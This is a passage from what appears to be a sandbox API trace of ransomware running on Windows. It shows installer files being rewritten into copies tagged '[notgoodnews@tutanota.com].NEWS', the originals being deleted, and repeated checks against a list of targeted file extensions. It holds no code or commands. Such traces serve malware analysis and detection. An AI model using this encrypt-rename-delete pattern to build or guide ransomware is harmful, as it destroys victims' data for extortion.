(lpFileName="C:\\588bce7c90097ed212\\1049\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1049\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0064.352] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0064.352] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0064.352] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1049\\eula.rtf.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\588bce7c90097ed212\\1049\\eula.rtf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0064.354] GetLastError () returned 0x0 [0064.354] ReadFile (in: hFile=0x350, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0xd4b8, lpOverlapped=0x0) returned 1 [0064.750] WriteFile (in: hFile=0x358, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0xd4c0, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0xd4c0, lpOverlapped=0x0) returned 1 [0064.752] ReadFile (in: hFile=0x350, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x0, lpOverlapped=0x0) returned 1 [0064.752] WriteFile (in: hFile=0x358, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0xe4, lpOverlapped=0x0) returned 1 [0064.752] SetEndOfFile (hFile=0x358) returned 1 [0064.752] CloseHandle (hObject=0x358) returned 1 [0064.754] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0064.754] SetEndOfFile (hFile=0x350) returned 1 [0064.755] CloseHandle (hObject=0x350) returned 1 [0064.755] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1049\\eula.rtf.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x80) returned 1 [0064.755] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1049\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1049\\eula.rtf")) returned 1 [0064.756] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\eula.rtf") returned 35 [0064.756] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\eula.rtf") returned 35 [0064.756] lstrlenW (lpString=".doc") returned 4 [0064.756] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0064.756] lstrlenW (lpString=".docx") returned 5 [0064.756] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0064.756] lstrlenW (lpString=".pdf") returned 4 [0064.756] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0064.756] lstrlenW (lpString=".xls") returned 4 [0064.756] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0064.756] lstrlenW (lpString=".xlsx") returned 5 [0064.756] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0064.756] lstrlenW (lpString=".ppt") returned 4 [0064.756] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0064.756] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\eula.rtf") returned 35 [0064.756] lstrlenW (lpString=".zip") returned 4 [0064.756] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0064.756] lstrlenW (lpString=".rar") returned 4 [0064.756] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0064.756] lstrlenW (lpString=".bz2") returned 4 [0064.756] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0064.756] lstrlenW (lpString=".7z") returned 3 [0064.756] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0064.756] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\eula.rtf") returned 35 [0064.756] lstrlenW (lpString=".dbf") returned 4 [0064.756] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0064.756] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\eula.rtf") returned 35 [0064.756] lstrlenW (lpString=".1cd") returned 4 [0064.757] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0064.757] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\eula.rtf") returned 35 [0064.757] lstrlenW (lpString=".jpg") returned 4 [0064.757] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0064.757] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\eula.rtf") returned 35 [0064.757] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\eula.rtf") returned 35 [0064.757] lstrlenW (lpString=".doc") returned 4 [0064.757] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0064.757] lstrlenW (lpString=".docx") returned 5 [0064.757] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0064.757] lstrlenW (lpString=".pdf") returned 4 [0064.757] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0064.757] lstrlenW (lpString=".xls") returned 4 [0064.757] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0064.757] lstrlenW (lpString=".xlsx") returned 5 [0064.757] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0064.757] lstrlenW (lpString=".ppt") returned 4 [0064.757] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0064.757] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\eula.rtf") returned 35 [0064.757] lstrlenW (lpString=".zip") returned 4 [0064.757] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0064.757] lstrlenW (lpString=".rar") returned 4 [0064.757] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0064.757] lstrlenW (lpString=".bz2") returned 4 [0064.757] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0064.757] lstrlenW (lpString=".7z") returned 3 [0064.757] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0064.757] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\eula.rtf") returned 35 [0064.757] lstrlenW (lpString=".dbf") returned 4 [0064.757] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0064.757] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\eula.rtf") returned 35 [0064.757] lstrlenW (lpString=".1cd") returned 4 [0064.757] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0064.757] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\eula.rtf") returned 35 [0064.758] lstrlenW (lpString=".jpg") returned 4 [0064.758] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0064.758] lstrcmpiW (lpString1=".xml", lpString2=".NEWS") returned 1 [0064.758] lstrlenW (lpString="LocalizedData.xml") returned 17 [0064.758] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\3082\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0064.804] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x311ff14 | out: lpFileSize=0x311ff14*=79996) returned 1 [0064.804] CloseHandle (hObject=0x354) returned 1 [0064.804] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\3082\\localizeddata.xml")) returned 0x80 [0064.805] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\588bce7c90097ed212\\3082\\localizeddata.xml.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0064.805] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\3082\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0064.805] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0064.806] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0064.806] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\588bce7c90097ed212\\3082\\localizeddata.xml.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0064.807] GetLastError () returned 0x0 [0064.807] ReadFile (in: hFile=0x354, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x1387c, lpOverlapped=0x0) returned 1 [0064.812] WriteFile (in: hFile=0x33c, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0x13880, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0x13880, lpOverlapped=0x0) returned 1 [0064.814] ReadFile (in: hFile=0x354, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x0, lpOverlapped=0x0) returned 1 [0064.814] WriteFile (in: hFile=0x33c, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0xf6, lpOverlapped=0x0) returned 1 [0064.814] SetEndOfFile (hFile=0x33c) returned 1 [0064.815] CloseHandle (hObject=0x33c) returned 1 [0064.818] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0064.818] SetEndOfFile (hFile=0x354) returned 1 [0064.819] CloseHandle (hObject=0x354) returned 1 [0064.819] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x80) returned 1 [0064.820] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\3082\\localizeddata.xml")) returned 1 [0064.820] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml") returned 44 [0064.820] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml") returned 44 [0064.821] lstrlenW (lpString=".doc") returned 4 [0064.821] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0064.821] lstrlenW (lpString=".docx") returned 5 [0064.821] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0064.821] lstrlenW (lpString=".pdf") returned 4 [0064.821] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0064.821] lstrlenW (lpString=".xls") returned 4 [0064.821] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0064.821] lstrlenW (lpString=".xlsx") returned 5 [0064.821] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0064.821] lstrlenW (lpString=".ppt") returned 4 [0064.821] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0064.821] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml") returned 44 [0064.821] lstrlenW (lpString=".zip") returned 4 [0064.821] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0064.821] lstrlenW (lpString=".rar") returned 4 [0064.821] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0064.822] lstrlenW (lpString=".bz2") returned 4 [0064.822] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0064.822] lstrlenW (lpString=".7z") returned 3 [0064.822] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0064.822] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml") returned 44 [0064.822] lstrlenW (lpString=".dbf") returned 4 [0064.822] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0064.822] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml") returned 44 [0064.822] lstrlenW (lpString=".1cd") returned 4 [0064.822] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0064.822] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml") returned 44 [0064.822] lstrlenW (lpString=".jpg") returned 4 [0064.822] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0064.822] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml") returned 44 [0064.822] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml") returned 44 [0064.822] lstrlenW (lpString=".doc") returned 4 [0064.822] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0064.822] lstrlenW (lpString=".docx") returned 5 [0064.822] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0064.822] lstrlenW (lpString=".pdf") returned 4 [0064.822] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0064.822] lstrlenW (lpString=".xls") returned 4 [0064.822] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0064.822] lstrlenW (lpString=".xlsx") returned 5 [0064.822] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0064.822] lstrlenW (lpString=".ppt") returned 4 [0064.822] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0064.822] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml") returned 44 [0064.822] lstrlenW (lpString=".zip") returned 4 [0064.822] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0064.822] lstrlenW (lpString=".rar") returned 4 [0064.822] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0064.822] lstrlenW (lpString=".bz2") returned 4 [0064.822] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0064.823] lstrlenW (lpString=".7z") returned 3 [0064.823] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0064.823] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml") returned 44 [0064.823] lstrlenW (lpString=".dbf") returned 4 [0064.823] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0064.823] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml") returned 44 [0064.823] lstrlenW (lpString=".1cd") returned 4 [0064.823] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0064.823] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml") returned 44 [0064.823] lstrlenW (lpString=".jpg") returned 4 [0064.823] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0064.823] lstrcmpiW (lpString1=".xml", lpString2=".NEWS") returned 1 [0064.823] lstrlenW (lpString="Parameterinfo.xml") returned 17 [0064.823] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml" (normalized: "c:\\588bce7c90097ed212\\client\\parameterinfo.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0064.823] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x311ff14 | out: lpFileSize=0x311ff14*=201796) returned 1 [0064.823] CloseHandle (hObject=0x354) returned 1 [0064.823] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml" (normalized: "c:\\588bce7c90097ed212\\client\\parameterinfo.xml")) returned 0x80 [0064.824] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\588bce7c90097ed212\\client\\parameterinfo.xml.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0064.824] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml" (normalized: "c:\\588bce7c90097ed212\\client\\parameterinfo.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0064.824] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0064.824] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0064.824] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\588bce7c90097ed212\\client\\parameterinfo.xml.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0064.824] GetLastError () returned 0x0 [0064.824] ReadFile (in: hFile=0x354, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x31444, lpOverlapped=0x0) returned 1 [0064.829] WriteFile (in: hFile=0x33c, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0x31450, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0x31450, lpOverlapped=0x0) returned 1 [0064.833] ReadFile (in: hFile=0x354, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x0, lpOverlapped=0x0) returned 1 [0064.833] WriteFile (in: hFile=0x33c, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0xf6, lpOverlapped=0x0) returned 1 [0064.833] SetEndOfFile (hFile=0x33c) returned 1 [0064.833] CloseHandle (hObject=0x33c) returned 1 [0065.217] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0065.272] SetEndOfFile (hFile=0x354) returned 1 [0065.274] CloseHandle (hObject=0x354) returned 1 [0065.274] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x80) returned 1 [0065.278] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml" (normalized: "c:\\588bce7c90097ed212\\client\\parameterinfo.xml")) returned 1 [0065.279] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml") returned 46 [0065.279] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml") returned 46 [0065.279] lstrlenW (lpString=".doc") returned 4 [0065.279] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0065.279] lstrlenW (lpString=".docx") returned 5 [0065.279] lstrcmpiW (lpString1=".docx", lpString2="o.xml") returned -1 [0065.279] lstrlenW (lpString=".pdf") returned 4 [0065.279] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0065.279] lstrlenW (lpString=".xls") returned 4 [0065.279] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0065.279] lstrlenW (lpString=".xlsx") returned 5 [0065.279] lstrcmpiW (lpString1=".xlsx", lpString2="o.xml") returned -1 [0065.279] lstrlenW (lpString=".ppt") returned 4 [0065.279] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0065.279] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml") returned 46 [0065.279] lstrlenW (lpString=".zip") returned 4 [0065.279] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0065.279] lstrlenW (lpString=".rar") returned 4 [0065.279] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0065.279] lstrlenW (lpString=".bz2") returned 4 [0065.279] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0065.279] lstrlenW (lpString=".7z") returned 3 [0065.279] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0065.279] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml") returned 46 [0065.279] lstrlenW (lpString=".dbf") returned 4 [0065.279] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0065.279] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml") returned 46 [0065.279] lstrlenW (lpString=".1cd") returned 4 [0065.279] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0065.279] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml") returned 46 [0065.279] lstrlenW (lpString=".jpg") returned 4 [0065.279] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0065.279] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml") returned 46 [0065.279] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml") returned 46 [0065.279] lstrlenW (lpString=".doc") returned 4 [0065.280] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0065.280] lstrlenW (lpString=".docx") returned 5 [0065.280] lstrcmpiW (lpString1=".docx", lpString2="o.xml") returned -1 [0065.280] lstrlenW (lpString=".pdf") returned 4 [0065.280] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0065.280] lstrlenW (lpString=".xls") returned 4 [0065.280] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0065.280] lstrlenW (lpString=".xlsx") returned 5 [0065.280] lstrcmpiW (lpString1=".xlsx", lpString2="o.xml") returned -1 [0065.280] lstrlenW (lpString=".ppt") returned 4 [0065.280] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0065.280] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml") returned 46 [0065.280] lstrlenW (lpString=".zip") returned 4 [0065.280] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0065.280] lstrlenW (lpString=".rar") returned 4 [0065.280] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0065.280] lstrlenW (lpString=".bz2") returned 4 [0065.280] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0065.280] lstrlenW (lpString=".7z") returned 3 [0065.280] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0065.280] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml") returned 46 [0065.280] lstrlenW (lpString=".dbf") returned 4 [0065.280] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0065.280] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml") returned 46 [0065.280] lstrlenW (lpString=".1cd") returned 4 [0065.280] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0065.280] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml") returned 46 [0065.280] lstrlenW (lpString=".jpg") returned 4 [0065.280] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0065.280] lstrcmpiW (lpString1=".xsd", lpString2=".NEWS") returned 1 [0065.280] lstrlenW (lpString="SetupUi.xsd") returned 11 [0065.281] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\SetupUi.xsd" (normalized: "c:\\588bce7c90097ed212\\setupui.xsd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0065.281] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x311ff14 | out: lpFileSize=0x311ff14*=30120) returned 1 [0065.281] CloseHandle (hObject=0x354) returned 1 [0065.281] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\SetupUi.xsd" (normalized: "c:\\588bce7c90097ed212\\setupui.xsd")) returned 0x80 [0065.281] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\SetupUi.xsd.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\588bce7c90097ed212\\setupui.xsd.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0065.281] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\SetupUi.xsd" (normalized: "c:\\588bce7c90097ed212\\setupui.xsd"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0065.281] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0065.281] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0065.281] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\SetupUi.xsd.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\588bce7c90097ed212\\setupui.xsd.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0065.282] GetLastError () returned 0x0 [0065.282] ReadFile (in: hFile=0x354, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x75a8, lpOverlapped=0x0) returned 1 [0065.284] WriteFile (in: hFile=0x35c, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0x75b0, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0x75b0, lpOverlapped=0x0) returned 1 [0065.286] ReadFile (in: hFile=0x354, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x0, lpOverlapped=0x0) returned 1 [0065.286] WriteFile (in: hFile=0x35c, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0xea, lpOverlapped=0x0) returned 1 [0065.286] SetEndOfFile (hFile=0x35c) returned 1 [0065.286] CloseHandle (hObject=0x35c) returned 1 [0065.288] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0065.288] SetEndOfFile (hFile=0x354) returned 1 [0065.289] CloseHandle (hObject=0x354) returned 1 [0065.289] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\SetupUi.xsd.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x80) returned 1 [0065.290] DeleteFileW 